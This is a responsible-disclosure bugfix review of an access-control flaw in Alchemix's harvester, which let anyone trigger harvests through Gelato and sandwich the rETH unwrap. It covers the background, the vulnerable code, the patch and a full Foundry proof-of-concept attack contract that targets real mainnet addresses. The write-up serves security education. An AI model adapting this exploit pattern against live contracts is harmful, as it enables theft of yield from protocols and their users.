Alchemix Access Control Issue Bugfix Review

Summary
On September 23, 2023, the security researcher Koiush submitted a high vulnerability to Alchemix via Immunefi, which consisted of improper configuration of access control for harvesting of yield.
At the time of the submission, the vulnerability would have allowed an attacker to steal yield generated during harvesting in rETH, stETH, and FraxETH pools.
After receiving Koiush’s report, the bug was quickly neutralized by Alchemix’s team with no impact to user funds. Alchemix promptly awarded a bounty of 1,000 ALCX ($28,730) to Koiush for this finding.
Immunefi is pleased to have facilitated this responsible disclosure with our platform. Our goal is to make web3 safer by incentivizing hackers to responsibly disclose bugs and receive clean money and reputation in exchange.
Introduction to Alchemix
Let’s break it down. Alchemix Finance is primarily a synthetic asset protocol that centers around the idea of tokenizing “future yield”.
To achieve this, it has a family of synthetic assets with the prefix “al-” (alETH, alUSD) which allow users to borrow against their yield-accruing deposits in lending/borrow protocols, accessing some portion of this “future” yield upfront.
How it works is, users deposit yield-bearing variants of ETH and DAI, USDC, etc. and then borrow alETH or alUSD against their value. The al-assets can be redeemed for the underlying collateral at any time with some time delay (transmuting), or exchanged instantly at the market rate for any token of value (swap). This system of exchange forms the basis of value, and the main utility of the protocol.

The Alchemix protocol features “Alchemists”, which are the central smart contracts powered by AlchemistV2.sol. This allows users to deposit yield-bearing or underlying assets as collateral in the protocol. Multiple yield strategies are supported in this format, but each “Alchemist” is dedicated to issuing a specific alAsset, such as alUSD.
Alchemix smart contracts allows users to borrow only up to 50% of their collateral’s value, ensuring that all borrowing across the protocol is collateralized by at least 200% in valuable yield-bearing assets. The accrued yield is periodically harvested from these assets, which is then put to work reducing the user’s debt or increasing the user’s borrowing limit if no debt is taken.
To accrue yield, the harvest()
function must be periodically called on the Harvester contract. Alchemix utilized Gelato, a smart contract automation service, to manage calls to the harvest()
function automatically, ensuring that users can passively earn yield without needing to manually interact with the protocol.
Gelato
Gelato is a Web3 serverless cloud platform that provides roll ups as a service and offers a suite of Web3 Services, such as Functions, Account Abstraction Infrastructure, VRF, and more. Alchemix utilized Gelato’s Web3 Functions system designed to manage and automate smart contract tasks.
The Web3 Functions Automate
contract allows projects to create tasks which are analyzed and executed automatically by Gelato’s off-chain cloud services. When a task is created, the following parameters must be specified:
_execAddress
, which is the target of the call_execDataOrSelector
, which is the function to be called by the automated keeper_moduleData
which are any conditions / specifications about the taskfeeToken
, which is the optional fee token.
Calling the createTask
function in the Automate
contract emits the TaskCreated
event, which is registered by Gelato’s off-chain services to later be executed by the Automate
contract through exec
.

Optionally, task’s creators have the ability to specify the created task to be executed through a dynamically generated proxy contract by setting the proxy module to PROXY type. This allows target contracts to whitelist the generated proxy contract and limit access to the automated function through onlyDedicatedMsgSender
, instead of the call originating from the generic Automate
contract which allows any user to create and execute tasks to trigger functionality of a target contract.

Alchemix Harvester
The AlchemixHarvester
contract enables the Alchemix contracts to collect outstanding yield from underlying assets and distribute it to token holders. The harvest
function in AlchemixHarvester
is a proxy for the call to AlchemixV2
contract’s harvest
function, where the majority of the logic exists. Within the harvest
function, yield tokens are unwrapped for their underlying asset and sent to the Transmuter
. The _unwrap
function is a critical component that makes a call to the specified yield token’s TokenAdapter
contract, which handles the actual unwrapping of the yield-bearing collateral token to the underlying token of a Vault.
pragma solidity ^0.8.13;
/// @inheritdoc IAlchemistV2Actions
function harvest(address yieldToken, uint256 minimumAmountOut) external override lock {
_onlyKeeper();
_checkSupportedYieldToken(yieldToken);
/* snippet of code */
address underlyingToken = yieldTokenParams.underlyingToken;
uint256 amountUnderlyingTokens = _unwrap(yieldToken, harvestableAmount, address(this), minimumAmountOut);
/* snippet of code */
// Transfer the tokens to the fee receiver and transmuter.
TokenUtils. safeTransfer (underlyingToken, protocolFeeReceiver, feeAmount);
TokenUtils. safeTransfer(underlyingToken, transmuter, distributeAmount);
// Inform the transmuter that it has received tokens.
IERC20TokenReceiver(transmuter).onERC20Received(underlyingToken, distributeAmount);
emit Harvest(yieldToken, minimumAmountOut, amountUnderlyingTokens, credit);
}
Due to some token adapters utilizing Balancer swaps (Balancer is an exchange protocol) to unwrap yield-bearing tokens to collect on accrued yield, the harvest function can be susceptible to MEV attacks (Miner or Maximal Extractable Value, also known as sandwich attacks) which manipulate the price of the asset before and after the unwrapping occurs. Normally, this isn’t an issue, since the harvest
function provides a parameter to specify the `minimumAmountOut` for unwrapping.
However, since the AlchemixHarvester
contract restricts access to the harvest function by only specifying the caller to be the generic Automate
contract address, anyone could create a Gelato task which calls the harvest
function with arbitrary parameters.
Vulnerability Analysis
Access control, or the lack of it, is at the heart of this vulnerability. Having proper checks is crucial for limiting access to important assets and functions, ensuring the security and continued safe operation of your smart contracts. Due to its ubiquity, it was found as #4 of the top 10 most common smart contract vulnerabilities identified by Immunefi in 2023.
Alchemix’s Gelato task was not created as a PROXY, meaning the Automate
contract would directly call the target contract. This means the harvester contract had to whitelist the Automate
contract for the harvest
function execution to succeed. However, since Gelato task creation through the Automate
contract is permissionless and the same contract will be used for execution unless the task is specified to use a dedicated msg.sender
, anyone could create a task which would call the AlchemixHarvester
contract and trigger a harvest
with arbitrarily specified parameters. An attacker could create a Gelato task that targets the AlchemixHarvester
and specify 1 for the minimumAmountOut
, which would make the harvest call vulnerable to sandwich attacks.
pragma solidity ^0.8.13;
contract AlchemixHarvester is IAlchemixHarvester, AlchemixGelatoKeeper {
/* snippet of code */
/// @notice Runs a the specified harvest job.
///
/// @param alchemist The address of the target alchemist.
/// @param yieldToken The address of the target yield token.
/// @param minimumAmountOut The minimum amount of tokens expected to be harvested.
function harvest
address alchemist,
address yieldToken,
uint256 minimumAmountOut
) external override {
if (msg.sender != gelatoPoker) {
revert Unauthorized();
}
if (tx.gasprice > maxGasPrice) {
revert TheGasIsTooDamnHigh();
}
IAlchemistV2(alchemist).harvest(yieldToken, minimumAmountOut);
IHarvestResolver(resolver).recordHarvest(yieldToken);
}
/* snippet of code */
}
The attack could be further escalated by specifying a custom contract as the alchemist
parameter, causing the resolver
to record a harvest, but not actually harvest any yield. This would prevent the Gelato keeper from calling the harvest
function, since it utilizes the checker
function of the resolver to determine if the conditions for calling harvest
have arrived. Blocking the harvest of yield would allow an attacker to accumulate higher unharvested amounts in the vault so the final attack can be more profitably sandwiched.
Editor’s note: the ability to look for ways to maximize profit such as blocking the harvest is an essential skill to learn for whitehats wanting to demonstrate the maximum impact for their vulnerability. Take note of this if you would like to improve your bug-hunting experience!
pragma solidity ^0.8.13;
/// @notice Check if there is a harvest that needs to be run.
///
/// Returns FALSE if the resolver is paused.
/// Returns TRUE for the first harvest job that meets the following criteria:
/// - the harvest job is active
/// - 'yieldToken' is enabled in the Alchemist
/// - minimumDelay seconds have passed since the 'yieldToken' was last harvested
/// - the expected harvest amount is greater than minimumHarvestAmount
/// Returns FALSE if no harvest jobs meet the above criteria.
///
/// @return canExec If a harvest is needed
/// @return execPayload The payload to forward to the AlchemixHarvester
function checker() external view returns (bool canExec, bytes memory execPayload) {
if (paused) {
return (false, abi.encode(0));
}
for (uint256 i = 0; i < yieldTokens.length; i++) {
address yieldToken = yieldTokens[il;
HarvestJob memory h = harvestJobs[yieldToken];
if (h.active) {
/* snippet of code */
if (
(block.timestamp >= h. lastHarvest + h.minimumDelay) &&
(currentValue > ytp. expectedValue + h.minimumHarvestAmount)
) {
uint256 minimumAmountOut = currentValue - ytp.expectedValue;
minimumAmountOut = minimumAmountOut - (minimumAmountOut * h.slippageBps) / SLIPPAGE_PRECISION;
return (
true,
abi.encodeWithSelector(IAlchemixHarvester.harvest.selector, h.alchemist, yieldToken, minimumAmountOut)
);
}
}
}
return (false, abi.encode(0));
}
Of the six ETH-type assets that could be targeted by this attack, there were only three token adapters that had unwrap
functions which were vulnerable to sandwiching. And of the three, only the rETH adapter was vulnerable to profitable sandwiching at the time of submission due its configuration best matching the requirements for the attack.
Proof of Concept (PoC):
The Immunefi team prepared the following PoC to demonstrate the vulnerability. You are encouraged to follow along by using Foundry to produce the results and examine them on your own.
The attack first creates a Gelato task to call the AlchemixHarvester contract with a minAmountOut
of 1. The attacker would then trigger their automation for the Gelato keeper to call the harvest
function, and sandwich the vulnerable swap. The attacker front runs the harvest transaction and manipulates the Balancer pool which is utilized for the unwrapping of rETH in the Alchemix adapter. The attacker can now manipulate the balancer rate back down to recover the collateral deposited for each account in the same block, and is now left with a portion of the accrued WETH.
In the following PoC, an arbitrary harvest transaction call was utilized as a baseline for the amount of yield that would have been accrued in the transmuter and treasury during normal operation operation. The PoC then demonstrates the impact of the attack if the vulnerable harvest call was triggered and subsequently sandwiched by the attacker.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@immunefi/PoC.sol";
import "./external/AlchemistV2.sol";
import "./external/IAlchemixHarvester.sol";
import "./external/BalancerContract.sol";
import "./external/IAutomate.sol";
import "./external/rETH.sol";
contract AttackContract is PoC {
// Tokens
IERC20 constant rETH = IERC20(0xae78736Cd615f374D3085123A210448E74Fc6393);
IERC20 constant alETH = IERC20(0x062Bf725dC4cDF947aa79Ca2aaCCD4F385b13b5c);
bytes32 constant RethWethBalPool = 0x1e19cf2d73a72ef1332c882f20534b6519be0276000200000000000000000112;
// Alchemix
AlchemistV2 constant alchemistV2 = AlchemistV2(0x062Bf725dC4cDF947aa79Ca2aaCCD4F385b13b5c);
IAlchemixHarvester constant harvester = IAlchemixHarvester(0x7879A9c464af7805712404Cf4A8366c475034F91);
// Balancer
Vault constant balancer = Vault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
// Gelato
IAutomate constant automate = IAutomate(0xB3f5503f93d5Ef84b06993a1975B9D21B962892F);
// Actors
address constant gelato = 0x3CACa7b48D0573D793d3b0279b5F0029180E83b6; // Gelato keeper
function initializeAttack() public {
console.log("\n>>> Initialize attack");
// The normal profit the harvest should gain according to https://etherscan.io/tx/0xad98a7f2b1bdece002fa0acea3177439f3a00062be72126f4c3d67e06222659f
console.log("Expected Harvest profit: 17.38 WETH");
vm.startPrank(address(this), address(this));
bytes memory call_data =
abi.encodeWithSelector(IAlchemixHarvester.harvest.selector, address(alETH), address(rETH), 1);
automate.createTask(
address(harvester), call_data, IAutomate.ModuleData(new IAutomate.Module[](0), new bytes[](0)), address(0)
);
_executeAttack();
}
function _executeAttack() internal {
console.log("\n>>> Execute attack");
// Manipulate the Balancer rate up
console.log("Manipulate Balancer rate up");
rETH.approve(address(balancer), 99999999999 ether);
Vault.SingleSwap memory singleSwap;
singleSwap.poolId = RethWethBalPool;
singleSwap.kind = 0;
singleSwap.assetIn = address(rETH);
singleSwap.assetOut = address(EthereumTokens.WETH);
singleSwap.amount = 13500 ether;
singleSwap.userData = abi.encodePacked(RethWethBalPool);
Vault.FundManagement memory fundManagement;
fundManagement.sender = address(this);
fundManagement.fromInternalBalance = false;
fundManagement.recipient = address(this);
fundManagement.toInternalBalance = false;
balancer.swap(singleSwap, fundManagement, 0, 9999999999999);
EthereumTokens.WETH.approve(address(balancer), 999999999999999 ether);
// Trigger the harvest from Gelato keeper
console.log("Harvest");
vm.startPrank(gelato, gelato);
automate.exec(
address(this),
address(harvester),
abi.encodeWithSelector(IAlchemixHarvester.harvest.selector, address(alETH), address(rETH), 1),
IAutomate.ModuleData(new IAutomate.Module[](0), new bytes[](0)),
0,
address(0),
false,
false
);
vm.startPrank(address(this), address(this));
// rebalance pool and unmanipulate using weth balance left
uint256 WETHBalance = EthereumTokens.WETH.balanceOf(address(this));
Vault.SingleSwap memory singleSwap2;
singleSwap2.poolId = RethWethBalPool;
singleSwap2.kind = 0;
singleSwap2.assetIn = address(EthereumTokens.WETH);
singleSwap2.assetOut = address(rETH);
singleSwap2.amount = WETHBalance;
singleSwap2.userData = abi.encodePacked(RethWethBalPool);
Vault.FundManagement memory fundManagement2;
fundManagement2.sender = address(this);
fundManagement2.fromInternalBalance = false;
fundManagement2.recipient = address(this);
fundManagement2.toInternalBalance = false;
// Manipulate the Balancer rate back down
console.log("Manipulate Balancer rate back down");
balancer.swap(singleSwap2, fundManagement2, 0, 9999999999999);
_completeAttack();
}
function _completeAttack() internal {
console.log("\n>>> Complete attack");
console.log("Protocol loss: 14.2 WETH\n");
vm.stopPrank();
}
}

As we can see, after running the PoC, our test scenario resulted in a profit of 4.975 rETH for the exploiter.
Vulnerability Fix
Since AlchemixHarvesters
are immutable, and the gelato poker address is set during contract creation, Alchemix would need to migrate Harvesters and update the contracts to utilize a dedicated msg.sender
instead of the generic Automate
contract address. The contracts were redeployed with an EOA set as the _gelatoPoker
.
This remediated the access control issue by replacing the gelato poker address with an Alchemix-controlled EOA.
pragma solidity ^0.8.13;
contract AlchemixHarvester is IAlchemixHarvester,
AlchemixGelatoKeeper {
/// @notice The address of the resolver.
address public resolver;
constructor (
address _gelatoPoker,
uint256 _maxGasPrice,
address _resolver
) AlchemixGelatoKeeper(_gelatoPoker, _maxGasPrice) {
resolver = _resolver;
}
•••
}
Acknowledgements
We would like to thank Koiush for doing an amazing job and responsibly disclosing such an important bug. Big props also to the Alchemix team who responded quickly to the report and patched the bug.
This bugfix review was written by Immunefi triager, Alejandro Muñoz-McDonald.
If you’d like to start bug hunting, we got you. Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.
If you’re feeling good about your skillset and want to see if you will find bugs in the code, check out the bug bounty program from Alchemix.